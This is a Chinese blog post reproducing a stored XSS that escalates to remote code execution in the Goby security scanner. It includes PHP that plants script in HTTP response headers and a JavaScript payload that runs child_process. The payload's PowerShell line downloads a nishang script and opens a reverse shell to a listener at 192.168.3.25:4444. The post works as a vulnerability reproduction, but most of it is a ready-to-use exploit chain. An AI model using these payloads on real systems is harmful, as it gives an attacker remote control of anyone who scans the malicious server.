MENU

复现Goby XSS-RCE

August 27, 2021 • Read: 245 • 常山阅读设置

复现Goby XSS-RCE

上周看到了漂亮鼠师傅的文章,文章中针对Goby实现了储存型XSS和RCE,今天打算复现一下,然后想找一下之前发的那篇文章,发现已经被投诉了,但是互联网档案馆保存了下来,链接:https://web.archive.org/web/20210813032328/https://mp.weixin.qq.com/s/tl17-Qz-VXpSlZtZWDgeHg

复现版本

Goby官方版,版本号为v1.8.292 beta,系统环境Windows10。应该版本号小于v1.8.299 beta都是可以复现的

漏洞复现

  1. 根据文章,将如下代码保存到index.php中,并启用HTTP服务,phpstudy、宝塔都可以,因为宝塔上有现成的环境所以我用宝塔复现的

    <?php
    header("X-Powered-By: PHP/<img    src=1    onerror=alert(\"1233333\")>");
    header("Server: nginx/<img    src=1    onerror=alert(\"123\")>");
    ?>

  2. 使用Goby扫描含有index.php的网站,可以看到XSS代码已经出现到了Goby里
  3. 点进详情后,触发XSS弹窗
  4. 接下来根据漂亮鼠师傅的文章构造RCE
  5. 因为漂亮鼠师傅是Mac环境,我是Windows环境,所以需要修改一下相关的js文件和php文件

    (function(){
    require('child_process').exec('start C:\\WINDOWS\\system32\\notepad.exe');
    require('child_process').exec('powershell IEX (New-Object Net.WebClient).DownloadString(\'https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1\');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.3.25 -port 4444');
    })();
    <?php
    header("Server: nginx/<img    src=1    onerror=import(unescape('http%3A//192.168.3.25/goby.js'))>");
    ?>
  6. 这里我犯了一个错误,漂亮鼠师傅都是本地环境,所以在header中引入的网址是本地127.0.0.1的地址,我刚开始也傻逼的填了127.0.0.1,发现没法实现RCE,找了一下午问题,最后发现了是引用的URL问题,浪费了很多时间。
  7. 现在使用Goby扫描该服务器,即可实现弹notepad并反弹shell
Archives QR Code Tip
QR Code for this page
Tipping QR Code